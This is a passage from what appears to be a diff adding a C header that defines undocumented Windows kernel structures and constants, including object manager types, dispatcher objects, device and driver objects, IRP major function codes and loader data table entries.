Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER_V2, * POBJECT_TYPE_INITIALIZER_V2; + +typedef struct _OBJECT_TYPE_INITIALIZER_V3 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 + ULONG WaitObjectFlagMask; // Size=4 Offset=112 + USHORT WaitObjectFlagOffset; // Size=2 Offset=116 + USHORT WaitObjectPointerOffset; // Size=2 Offset=118 +} OBJECT_TYPE_INITIALIZER_V3, * POBJECT_TYPE_INITIALIZER_V3; + +typedef struct _OBJECT_TYPE_INITIALIZER {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER, * POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE_V2 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V2, * POBJECT_TYPE_V2; + +typedef struct _OBJECT_TYPE_V3 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V3 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V3, * POBJECT_TYPE_V3; + +typedef struct _OBJECT_TYPE_COMPATIBLE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; +} OBJECT_TYPE_COMPATIBLE, * POBJECT_TYPE_COMPATIBLE; + +/* +** brand new header starting from 6.1 +*/ + +typedef struct _OBJECT_HEADER { + LONG PointerCount; + union + { + LONG HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UCHAR TypeIndex; + UCHAR TraceFlags; + UCHAR InfoMask; + UCHAR Flags; + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + PVOID SecurityDescriptor; + QUAD Body; +} OBJECT_HEADER, * POBJECT_HEADER; + +#define OBJECT_TO_OBJECT_HEADER(obj) \ + CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) + +/* +** OBJECT MANAGER END +*/ + +/* +* WDM START +*/ +#define TIMER_TOLERABLE_DELAY_BITS 6 +#define TIMER_EXPIRED_INDEX_BITS 6 +#define TIMER_PROCESSOR_INDEX_BITS 5 + +typedef struct _DISPATCHER_HEADER { + union { + union { + volatile LONG Lock; + LONG LockNV; + } DUMMYUNIONNAME; + + struct { // Events, Semaphores, Gates, etc. + UCHAR Type; // All (accessible via KOBJECT_TYPE) + UCHAR Signalling; + UCHAR Size; + UCHAR Reserved1; + } DUMMYSTRUCTNAME; + + struct { // Timer + UCHAR TimerType; + union { + UCHAR TimerControlFlags; + struct { + UCHAR Absolute : 1; + UCHAR Wake : 1; + UCHAR EncodedTolerableDelay : TIMER_TOLERABLE_DELAY_BITS; + } DUMMYSTRUCTNAME; + }; + + UCHAR Hand; + union { + UCHAR TimerMiscFlags; + struct { + +#if !defined(KENCODED_TIMER_PROCESSOR) + + UCHAR Index : TIMER_EXPIRED_INDEX_BITS; + +#else + + UCHAR Index : 1; + UCHAR Processor : TIMER_PROCESSOR_INDEX_BITS; + +#endif + + UCHAR Inserted : 1; + volatile UCHAR Expired : 1; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + } DUMMYSTRUCTNAME2; + + struct { // Timer2 + UCHAR Timer2Type; + union { + UCHAR Timer2Flags; + struct { + UCHAR Timer2Inserted : 1; + UCHAR Timer2Expiring : 1; + UCHAR Timer2CancelPending : 1; + UCHAR Timer2SetPending : 1; + UCHAR Timer2Running : 1; + UCHAR Timer2Disabled : 1; + UCHAR Timer2ReservedFlags : 2; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR Timer2Reserved1; + UCHAR Timer2Reserved2; + } DUMMYSTRUCTNAME3; + + struct { // Queue + UCHAR QueueType; + union { + UCHAR QueueControlFlags; + struct { + UCHAR Abandoned : 1; + UCHAR DisableIncrement : 1; + UCHAR QueueReservedControlFlags : 6; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR QueueSize; + UCHAR QueueReserved; + } DUMMYSTRUCTNAME4; + + struct { // Thread + UCHAR ThreadType; + UCHAR ThreadReserved; + union { + UCHAR ThreadControlFlags; + struct { + UCHAR CycleProfiling : 1; + UCHAR CounterProfiling : 1; + UCHAR GroupScheduling : 1; + UCHAR AffinitySet : 1; + UCHAR ThreadReservedControlFlags : 4; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + union { + UCHAR DebugActive; + +#if !defined(_X86_) + + struct { + BOOLEAN ActiveDR7 : 1; + BOOLEAN Instrumented : 1; + BOOLEAN Minimal : 1; + BOOLEAN Reserved4 : 3; + BOOLEAN UmsScheduled : 1; + BOOLEAN UmsPrimary : 1; + } DUMMYSTRUCTNAME; + +#endif + + } DUMMYUNIONNAME2; + } DUMMYSTRUCTNAME5; + + struct { // Mutant + UCHAR MutantType; + UCHAR MutantSize; + BOOLEAN DpcActive; + UCHAR MutantReserved; + } DUMMYSTRUCTNAME6; + } DUMMYUNIONNAME; + + LONG SignalState; // Object lock + LIST_ENTRY WaitListHead; // Object lock +} DISPATCHER_HEADER, * PDISPATCHER_HEADER; + +typedef struct _KEVENT { + DISPATCHER_HEADER Header; +} KEVENT, * PKEVENT, * PRKEVENT; + +typedef struct _KMUTANT { + DISPATCHER_HEADER Header; + LIST_ENTRY MutantListEntry; + struct _KTHREAD* OwnerThread; + BOOLEAN Abandoned; + UCHAR ApcDisable; +} KMUTANT, * PKMUTANT, * PRKMUTANT, KMUTEX, * PKMUTEX, * PRKMUTEX; + +typedef struct _KSEMAPHORE { + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, * PKSEMAPHORE, * PRKSEMAPHORE; + +typedef struct _KTIMER { + DISPATCHER_HEADER Header; + ULARGE_INTEGER DueTime; + LIST_ENTRY TimerListEntry; + struct _KDPC* Dpc; + ULONG Processor; + LONG Period; +} KTIMER, * PKTIMER, * PRKTIMER; + +typedef struct _KDEVICE_QUEUE_ENTRY { + LIST_ENTRY DeviceListEntry; + ULONG SortKey; + BOOLEAN Inserted; +} KDEVICE_QUEUE_ENTRY, * PKDEVICE_QUEUE_ENTRY, * PRKDEVICE_QUEUE_ENTRY; + +typedef enum _KDPC_IMPORTANCE { + LowImportance, + MediumImportance, + HighImportance +} KDPC_IMPORTANCE; + +typedef struct _KDPC { + union { + ULONG TargetInfoAsUlong; + struct { + UCHAR Type; + UCHAR Importance; + volatile USHORT Number; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + SINGLE_LIST_ENTRY DpcListEntry; + KAFFINITY ProcessorHistory; + PVOID DeferredRoutine; + PVOID DeferredContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + __volatile PVOID DpcData; +} KDPC, * PKDPC, * PRKDPC; + +typedef struct _WAIT_CONTEXT_BLOCK { + union { + KDEVICE_QUEUE_ENTRY WaitQueueEntry; + struct { + LIST_ENTRY DmaWaitEntry; + ULONG NumberOfChannels; + ULONG SyncCallback : 1; + ULONG DmaContext : 1; + ULONG Reserved : 30; + }; + }; + PVOID DeviceRoutine; + PVOID DeviceContext; + ULONG NumberOfMapRegisters; + PVOID DeviceObject; + PVOID CurrentIrp; + PKDPC BufferChainingDpc; +} WAIT_CONTEXT_BLOCK, * PWAIT_CONTEXT_BLOCK; + +#define MAXIMUM_VOLUME_LABEL_LENGTH (32 * sizeof(WCHAR)) // 32 characters + +typedef struct _VPB { + CSHORT Type; + CSHORT Size; + USHORT Flags; + USHORT VolumeLabelLength; // in bytes + struct _DEVICE_OBJECT* DeviceObject; + struct _DEVICE_OBJECT* RealDevice; + ULONG SerialNumber; + ULONG ReferenceCount; + WCHAR VolumeLabel[MAXIMUM_VOLUME_LABEL_LENGTH / sizeof(WCHAR)]; +} VPB, * PVPB; + +typedef struct _KQUEUE { + DISPATCHER_HEADER Header; + LIST_ENTRY EntryListHead; + ULONG CurrentCount; + ULONG MaximumCount; + LIST_ENTRY ThreadListHead; +} KQUEUE, * PKQUEUE; + +typedef struct _KDEVICE_QUEUE { + CSHORT Type; + CSHORT Size; + LIST_ENTRY DeviceListHead; + KSPIN_LOCK Lock; + +#if defined(_AMD64_) + + union { + BOOLEAN Busy; + struct { + LONG64 Reserved : 8; + LONG64 Hint : 56; + }; + }; + +#else + + BOOLEAN Busy; + +#endif + +} KDEVICE_QUEUE, * PKDEVICE_QUEUE, * PRKDEVICE_QUEUE; + +enum _KOBJECTS { + EventNotificationObject = 0x0, + EventSynchronizationObject = 0x1, + MutantObject = 0x2, + ProcessObject = 0x3, + QueueObject = 0x4, + SemaphoreObject = 0x5, + ThreadObject = 0x6, + GateObject = 0x7, + TimerNotificationObject = 0x8, + TimerSynchronizationObject = 0x9, + Spare2Object = 0xa, + Spare3Object = 0xb, + Spare4Object = 0xc, + Spare5Object = 0xd, + Spare6Object = 0xe, + Spare7Object = 0xf, + Spare8Object = 0x10, + Spare9Object = 0x11, + ApcObject = 0x12, + DpcObject = 0x13, + DeviceQueueObject = 0x14, + EventPairObject = 0x15, + InterruptObject = 0x16, + ProfileObject = 0x17, + ThreadedDpcObject = 0x18, + MaximumKernelObject = 0x19, +}; + +#define DO_VERIFY_VOLUME 0x00000002 // ntddk nthal ntifs wdm +#define DO_BUFFERED_IO 0x00000004 // ntddk nthal ntifs wdm +#define DO_EXCLUSIVE 0x00000008 // ntddk nthal ntifs wdm +#define DO_DIRECT_IO 0x00000010 // ntddk nthal ntifs wdm +#define DO_MAP_IO_BUFFER 0x00000020 // ntddk nthal ntifs wdm +#define DO_DEVICE_HAS_NAME 0x00000040 // ntddk nthal ntifs +#define DO_DEVICE_INITIALIZING 0x00000080 // ntddk nthal ntifs wdm +#define DO_SYSTEM_BOOT_PARTITION 0x00000100 // ntddk nthal ntifs +#define DO_LONG_TERM_REQUESTS 0x00000200 // ntddk nthal ntifs +#define DO_NEVER_LAST_DEVICE 0x00000400 // ntddk nthal ntifs +#define DO_SHUTDOWN_REGISTERED 0x00000800 // ntddk nthal ntifs wdm +#define DO_BUS_ENUMERATED_DEVICE 0x00001000 // ntddk nthal ntifs wdm +#define DO_POWER_PAGABLE 0x00002000 // ntddk nthal ntifs wdm +#define DO_POWER_INRUSH 0x00004000 // ntddk nthal ntifs wdm +#define DO_POWER_NOOP 0x00008000 +#define DO_LOW_PRIORITY_FILESYSTEM 0x00010000 // ntddk nthal ntifs +#define DO_XIP 0x00020000 + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +#define FILE_DEVICE_BEEP 0x00000001 +#define FILE_DEVICE_CD_ROM 0x00000002 +#define FILE_DEVICE_CD_ROM_FILE_SYSTEM 0x00000003 +#define FILE_DEVICE_CONTROLLER 0x00000004 +#define FILE_DEVICE_DATALINK 0x00000005 +#define FILE_DEVICE_DFS 0x00000006 +#define FILE_DEVICE_DISK 0x00000007 +#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000008 +#define FILE_DEVICE_FILE_SYSTEM 0x00000009 +#define FILE_DEVICE_INPORT_PORT 0x0000000a +#define FILE_DEVICE_KEYBOARD 0x0000000b +#define FILE_DEVICE_MAILSLOT 0x0000000c +#define FILE_DEVICE_MIDI_IN 0x0000000d +#define FILE_DEVICE_MIDI_OUT 0x0000000e +#define FILE_DEVICE_MOUSE 0x0000000f +#define FILE_DEVICE_MULTI_UNC_PROVIDER 0x00000010 +#define FILE_DEVICE_NAMED_PIPE 0x00000011 +#define FILE_DEVICE_NETWORK 0x00000012 +#define FILE_DEVICE_NETWORK_BROWSER 0x00000013 +#define FILE_DEVICE_NETWORK_FILE_SYSTEM 0x00000014 +#define FILE_DEVICE_NULL 0x00000015 +#define FILE_DEVICE_PARALLEL_PORT 0x00000016 +#define FILE_DEVICE_PHYSICAL_NETCARD 0x00000017 +#define FILE_DEVICE_PRINTER 0x00000018 +#define FILE_DEVICE_SCANNER 0x00000019 +#define FILE_DEVICE_SERIAL_MOUSE_PORT 0x0000001a +#define FILE_DEVICE_SERIAL_PORT 0x0000001b +#define FILE_DEVICE_SCREEN 0x0000001c +#define FILE_DEVICE_SOUND 0x0000001d +#define FILE_DEVICE_STREAMS 0x0000001e +#define FILE_DEVICE_TAPE 0x0000001f +#define FILE_DEVICE_TAPE_FILE_SYSTEM 0x00000020 +#define FILE_DEVICE_TRANSPORT 0x00000021 +#define FILE_DEVICE_UNKNOWN 0x00000022 +#define FILE_DEVICE_VIDEO 0x00000023 +#define FILE_DEVICE_VIRTUAL_DISK 0x00000024 +#define FILE_DEVICE_WAVE_IN 0x00000025 +#define FILE_DEVICE_WAVE_OUT 0x00000026 +#define FILE_DEVICE_8042_PORT 0x00000027 +#define FILE_DEVICE_NETWORK_REDIRECTOR 0x00000028 +#define FILE_DEVICE_BATTERY 0x00000029 +#define FILE_DEVICE_BUS_EXTENDER 0x0000002a +#define FILE_DEVICE_MODEM 0x0000002b +#define FILE_DEVICE_VDM 0x0000002c +#define FILE_DEVICE_MASS_STORAGE 0x0000002d +#define FILE_DEVICE_SMB 0x0000002e +#define FILE_DEVICE_KS 0x0000002f +#define FILE_DEVICE_CHANGER 0x00000030 +#define FILE_DEVICE_SMARTCARD 0x00000031 +#define FILE_DEVICE_ACPI 0x00000032 +#define FILE_DEVICE_DVD 0x00000033 +#define FILE_DEVICE_FULLSCREEN_VIDEO 0x00000034 +#define FILE_DEVICE_DFS_FILE_SYSTEM 0x00000035 +#define FILE_DEVICE_DFS_VOLUME 0x00000036 +#define FILE_DEVICE_SERENUM 0x00000037 +#define FILE_DEVICE_TERMSRV 0x00000038 +#define FILE_DEVICE_KSEC 0x00000039 +#define FILE_DEVICE_FIPS 0x0000003A +#define FILE_DEVICE_INFINIBAND 0x0000003B +#define FILE_DEVICE_VMBUS 0x0000003E +#define FILE_DEVICE_CRYPT_PROVIDER 0x0000003F +#define FILE_DEVICE_WPD 0x00000040 +#define FILE_DEVICE_BLUETOOTH 0x00000041 +#define FILE_DEVICE_MT_COMPOSITE 0x00000042 +#define FILE_DEVICE_MT_TRANSPORT 0x00000043 +#define FILE_DEVICE_BIOMETRIC 0x00000044 +#define FILE_DEVICE_PMI 0x00000045 +#define FILE_DEVICE_EHSTOR 0x00000046 +#define FILE_DEVICE_DEVAPI 0x00000047 +#define FILE_DEVICE_GPIO 0x00000048 +#define FILE_DEVICE_USBEX 0x00000049 +#define FILE_DEVICE_CONSOLE 0x00000050 +#define FILE_DEVICE_NFP 0x00000051 +#define FILE_DEVICE_SYSENV 0x00000052 +#define FILE_DEVICE_VIRTUAL_BLOCK 0x00000053 +#define FILE_DEVICE_POINT_OF_SERVICE 0x00000054 + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +#define DPC_NORMAL 0 +#define DPC_THREADED 1 + +typedef struct _DEVICE_OBJECT { + CSHORT Type; + USHORT Size; + LONG ReferenceCount; + struct _DRIVER_OBJECT* DriverObject; + struct _DEVICE_OBJECT* NextDevice; + struct _DEVICE_OBJECT* AttachedDevice; + struct _IRP* CurrentIrp; + PVOID Timer; + ULONG Flags; + ULONG Characteristics; + __volatile PVPB Vpb; + PVOID DeviceExtension; + DEVICE_TYPE DeviceType; + CCHAR StackSize; + union { + LIST_ENTRY ListEntry; + WAIT_CONTEXT_BLOCK Wcb; + } Queue; + ULONG AlignmentRequirement; + KDEVICE_QUEUE DeviceQueue; + KDPC Dpc; + ULONG ActiveThreadCount; + PSECURITY_DESCRIPTOR SecurityDescriptor; + KEVENT DeviceLock; + USHORT SectorSize; + USHORT Spare1; + struct _DEVOBJ_EXTENSION* DeviceObjectExtension; + PVOID Reserved; +} DEVICE_OBJECT, * PDEVICE_OBJECT; + +typedef struct _DEVOBJ_EXTENSION { + + CSHORT Type; + USHORT Size; + + // + // Public part of the DeviceObjectExtension structure + // + + PDEVICE_OBJECT DeviceObject; // owning device object + + // end_ntddk end_nthal end_ntifs end_wdm end_ntosp + + // + // Universal Power Data - all device objects must have this + // + + ULONG PowerFlags; // see ntos\po\pop.h + // WARNING: Access via PO macros + // and with PO locking rules ONLY. + + // + // Pointer to the non-universal power data + // Power data that only some device objects need is stored in the + // device object power extension -> DOPE + // see po.h + // + + struct _DEVICE_OBJECT_POWER_EXTENSION* Dope; + + // + // power state information + // + + // + // Device object extension flags. Protected by the IopDatabaseLock. + // + + ULONG ExtensionFlags; + + // + // PnP manager fields + // + + PVOID DeviceNode; + + // + // AttachedTo is a pointer to the device object that this device + // object is attached to. The attachment chain is now doubly + // linked: this pointer and DeviceObject->AttachedDevice provide the + // linkage. + // + + PDEVICE_OBJECT AttachedTo; + + // + // The next two fields are used to prevent recursion in IoStartNextPacket + // interfaces. + // + + LONG StartIoCount; // Used to keep track of number of pending start ios. + LONG StartIoKey; // Next startio key + ULONG StartIoFlags; // Start Io Flags. Need a separate flag so that it can be accessed without locks + PVPB Vpb; // If not NULL contains the VPB of the mounted volume. + // Set in the filesystem's volume device object. + // This is a reverse VPB pointer. + + // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp + +} DEVOBJ_EXTENSION, * PDEVOBJ_EXTENSION; + +typedef struct _FAST_IO_DISPATCH { + ULONG SizeOfFastIoDispatch; + PVOID FastIoCheckIfPossible; + PVOID FastIoRead; + PVOID FastIoWrite; + PVOID FastIoQueryBasicInfo; + PVOID FastIoQueryStandardInfo; + PVOID FastIoLock; + PVOID FastIoUnlockSingle; + PVOID FastIoUnlockAll; + PVOID FastIoUnlockAllByKey; + PVOID FastIoDeviceControl; + PVOID AcquireFileForNtCreateSection; + PVOID ReleaseFileForNtCreateSection; + PVOID FastIoDetachDevice; + PVOID FastIoQueryNetworkOpenInfo; + PVOID AcquireForModWrite; + PVOID MdlRead; + PVOID MdlReadComplete; + PVOID PrepareMdlWrite; + PVOID MdlWriteComplete; + PVOID FastIoReadCompressed; + PVOID FastIoWriteCompressed; + PVOID MdlReadCompleteCompressed; + PVOID MdlWriteCompleteCompressed; + PVOID FastIoQueryOpen; + PVOID ReleaseForModWrite; + PVOID AcquireForCcFlush; + PVOID ReleaseForCcFlush; +} FAST_IO_DISPATCH, * PFAST_IO_DISPATCH; + +#define IO_TYPE_ADAPTER 0x00000001 +#define IO_TYPE_CONTROLLER 0x00000002 +#define IO_TYPE_DEVICE 0x00000003 +#define IO_TYPE_DRIVER 0x00000004 +#define IO_TYPE_FILE 0x00000005 +#define IO_TYPE_IRP 0x00000006 +#define IO_TYPE_MASTER_ADAPTER 0x00000007 +#define IO_TYPE_OPEN_PACKET 0x00000008 +#define IO_TYPE_TIMER 0x00000009 +#define IO_TYPE_VPB 0x0000000a +#define IO_TYPE_ERROR_LOG 0x0000000b +#define IO_TYPE_ERROR_MESSAGE 0x0000000c +#define IO_TYPE_DEVICE_OBJECT_EXTENSION 0x0000000d + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +typedef struct _DRIVER_EXTENSION { + + // + // Back pointer to Driver Object + // + + struct _DRIVER_OBJECT* DriverObject; + + // + // The AddDevice entry point is called by the Plug & Play manager + // to inform the driver when a new device instance arrives that this + // driver must control. + // + + PVOID AddDevice; + + // + // The count field is used to count the number of times the driver has + // had its registered reinitialization routine invoked. + // + + ULONG Count; + + // + // The service name field is used by the pnp manager to determine + // where the driver related info is stored in the registry. + // + + UNICODE_STRING ServiceKeyName; + +} DRIVER_EXTENSION, * PDRIVER_EXTENSION; + +#define DRVO_UNLOAD_INVOKED 0x00000001 +#define DRVO_LEGACY_DRIVER 0x00000002 +#define DRVO_BUILTIN_DRIVER 0x00000004 // Driver objects for Hal, PnP Mgr +#define DRVO_REINIT_REGISTERED 0x00000008 +#define DRVO_INITIALIZED 0x00000010 +#define DRVO_BOOTREINIT_REGISTERED 0x00000020 +#define DRVO_LEGACY_RESOURCES 0x00000040 +// end_ntddk end_nthal end_ntifs end_ntosp +#define DRVO_BASE_FILESYSTEM_DRIVER 0x00000080 // A driver that is at the bottom of the filesystem stack. +// begin_ntddk begin_nthal begin_ntifs begin_ntosp + +typedef struct _DRIVER_OBJECT { + CSHORT Type; + CSHORT Size; + + // + // The following links all of the devices created by a single driver + // together on a list, and the Flags word provides an extensible flag + // location for driver objects. + // + + PDEVICE_OBJECT DeviceObject; + ULONG Flags; + + // + // The following section describes where the driver is loaded. The count + // field is used to count the number of times the driver has had its + // registered reinitialization routine invoked. + // + + PVOID DriverStart; + ULONG DriverSize; + PVOID DriverSection; //PLDR_DATA_TABLE_ENTRY + PDRIVER_EXTENSION DriverExtension; + + // + // The driver name field is used by the error log thread + // determine the name of the driver that an I/O request is/was bound. + // + + UNICODE_STRING DriverName; + + // + // The following section is for registry support. Thise is a pointer + // to the path to the hardware information in the registry + // + + PUNICODE_STRING HardwareDatabase; + + // + // The following section contains the optional pointer to an array of + // alternate entry points to a driver for "fast I/O" support. Fast I/O + // is performed by invoking the driver routine directly with separate + // parameters, rather than using the standard IRP call mechanism. Note + // that these functions may only be used for synchronous I/O, and when + // the file is cached. + // + + PFAST_IO_DISPATCH FastIoDispatch; + + // + // The following section describes the entry points to this particular + // driver. Note that the major function dispatch table must be the last + // field in the object so that it remains extensible. + // + + PVOID DriverInit; + PVOID DriverStartIo; + PVOID DriverUnload; + PVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; + +} DRIVER_OBJECT; +typedef struct _DRIVER_OBJECT* PDRIVER_OBJECT; + +typedef struct _LDR_RESOURCE_INFO { + ULONG_PTR Type; + ULONG_PTR Name; + ULONG Lang; +} LDR_RESOURCE_INFO, * PLDR_RESOURCE_INFO; + +typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + } DUMMYUNION0; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD ObsoleteLoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + } DUMMYUNION1; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } DUMMYUNION2; + //fields below removed for compatibility +} LDR_DATA_TABLE_ENTRY_COMPATIBLE, * PLDR_DATA_TABLE_ENTRY_COMPATIBLE; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE* PLDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY* PCLDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} 